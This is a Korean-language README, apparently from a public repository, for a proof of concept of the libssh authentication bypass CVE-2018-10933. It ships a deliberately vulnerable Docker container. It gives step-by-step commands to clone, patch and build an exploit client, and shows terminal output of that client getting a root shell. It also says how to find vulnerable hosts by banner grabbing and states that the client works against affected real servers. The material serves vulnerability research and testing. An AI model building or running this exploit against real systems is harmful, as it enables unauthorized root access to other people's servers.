
cve-2018-10933 libssh authentication bypass
CVE-2018-10933 libssh 인증 우회, 포트 2222에서 수신 대기하는 취약한 Docker 컨테이너입니다. 악용을 위해 기본 "myuser"/"mypassword"를 사용하여 로그인하십시오. Docker 컨테이너의 libssh 사본에 패치가 적용되어 SSH2_MSG_USERAUTH_SUCCESS 패킷을 모든 인증 시도(keyboard-interactive/pubkey/gss-api 등)에 주입하고 클라이언트 측 상태를 진행하도록 설정합니다. 포함된 서버는 악용이 성공할 수 있도록 예제 코드에서 패치되었습니다.
./build.sh
./run.sh
ssh -l myuser -p 2222 localhost
테스트 목적으로 패치된 exploit-libssh-0.8.3 및 취약한 sshd가 컨테이너에 제공됩니다. "ssh-client"는 인증을 성공적으로 우회하지만 서버 코드의 추가 인증 검사로 인해 기본 예제 서버에 대해 셸을 생성할 수 없습니다.
[root@305b48cb932e ]# cd /root/exploit-libssh-0.8.3/build/examples
[root@305b48cb932e examples]# ./ssh-client -l root 127.0.0.1
The server is unknown. Do you trust the host key (yes/no)?
SHA256:Mg6j2yHWMsRe56ABhAYjLIJK9yD2N3lGQAl3EfGqP7w
yes
This new key will be written on disk for further usage. do you agree ?
yes
Requesting shell : Channel request shell failed
[root@305b48cb932e examples]#
보안 권고에 따르면 "악의적인 클라이언트가 먼저 인증을 수행하지 않고 채널을 생성할 수 있어 인증되지 않은 액세스가 발생할 수 있습니다."
다음 libssh 디버그 출력은 서버에서 인증이 성공했으며 세션 채널이 생성되었음을 보여줍니다. 호스트는 이제 인증되었지만 추가 서버 측 검사로 인해 명령 실행이 차단됩니다. 공격자는 여전히 이 서비스를 통해 터널/프록시 연결을 시도할 수 있습니다.
[2018/10/19 01:26:24.929187, 3] ssh_packet_process: Dispatching handler for packet type 52
[2018/10/19 01:26:24.929228, 3] ssh_packet_userauth_success: Authentication successful
[2018/10/19 01:26:24.971901, 3] ssh_packet_socket_callback: packet: read type 90 [len=44,padding=19,comp=24,payload=24]
[2018/10/19 01:26:24.971984, 3] ssh_packet_process: Dispatching handler for packet type 90
[2018/10/19 01:26:24.972012, 3] ssh_packet_channel_open: Clients wants to open a session channel
[2018/10/19 01:26:24.972057, 3] ssh_message_channel_request_open_reply_accept_channel: Accepting a channel request_open for chan 43
[2018/10/19 01:26:24.972193, 3] ssh_socket_unbuffered_write: Enabling POLLOUT for socket
[2018/10/19 01:26:24.972233, 3] packet_send2: packet: wrote [len=28,padding=10,comp=17,payload=17]
셸/exec/pty를 실행하려는 시도는 성공적인 세션을 생성하지만 예제 서버에서 사용자 인증 상태에 대한 추가 검사로 인해 오류가 발생합니다. 예제 서버에 다음과 같은 오류가 표시됩니다.
[2018/10/19 03:33:56.539864, 3] ssh_message_handle_channel_request: Received a shell channel_request for channel (43:0) (want_reply=1)
[2018/10/19 03:33:56.539899, 3] ssh_message_channel_request_reply_default: Sending a default channel_request denied to channel 0
맞춤형 libssh 서버의 경우 잠재적으로 임의 코드 실행으로 이어질 수 있지만 대부분은 터널링이나 SSH 프로토콜의 일부 오용만 허용할 수 있습니다. 추가 인증 검사를 제거하면 서버는 인증 우회 악용에 취약해집니다. 서버 측 libssh 구현이 이 취약점을 도입할 가능성이 있습니다. 다음은 패치된 libssh를 사용한 성공적인 악용의 예입니다.
[root@3a184714fd21]# cd /root/exploit-libssh-0.8.3/build/examples
[root@3a184714fd21 examples]# ./ssh-client -l root 127.0.0.1
The server is unknown. Do you trust the host key (yes/no)?
SHA256:DyYf8l6tjNc0kyUe5uE/Rt8vHI1SuhsVGbzOonzPlaY
yes
This new key will be written on disk for further usage. do you agree ?
yes
[root@3a184714fd21 /]# id
uid=0(root) gid=0(root) groups=0(root)
Docker 컨테이너는 기본적으로 취약한 "ssh_server_fork" 예제를 실행하며, 원본은 테스트/디버깅 목적으로 "libssh-0.8.3" 디렉토리에서 찾을 수 있습니다.
다음 공급업체는 libssh 사용으로 인해 이 결함에 실제로 영향을 받는 것으로 보입니다.
libssh는 다양한 *BSD 및 Linux 배포판에 로컬로 설치되며 ffmpeg(?), hydra 및 소수의 FOSS 패키지에서 사용됩니다.
이 저장소에서 패치된 libssh 클라이언트를 빌드하여 악용할 수 있습니다.
git clone https://github.com/hackerhouse-opensource/cve-2018-10933
cd cve-2018-10933
xz -d libssh-0.8.3.tar.xz
tar -xvf libssh-0.8.3.tar
cd libssh-0.8.3
patch -p0 < ../cve-2018-10933.patch
mkdir build
cd build
cmake ..
make
그런 다음 "ssh-client" 및 모든 예제를 사용하여 영향을 받는 libssh 서버 구현에서 인증을 우회할 수 있습니다.
$ ./ssh-client -l root 127.0.0.1 -p 2222
[root@8fec78903da2 /]# id
uid=0(root) gid=0(root) groups=0(root)
취약한 호스트를 스캔하려면 영향을 받는 SSH 포트에서 일반 배너 그래빙(예: nmap)을 수행하면 됩니다.
SSH-2.0-libssh_0.8.3
원본 권고는 CVE-2018-10933.txt에 있으며, 취약점은 Peter Winter Smith가 발견했습니다. 취약한 Docker 및 libssh 악용 패치는 Hacker House(https://hacker.house)에서 공개했습니다.
이 파일들은 3-clause BSD 라이선스 하에 제공됩니다.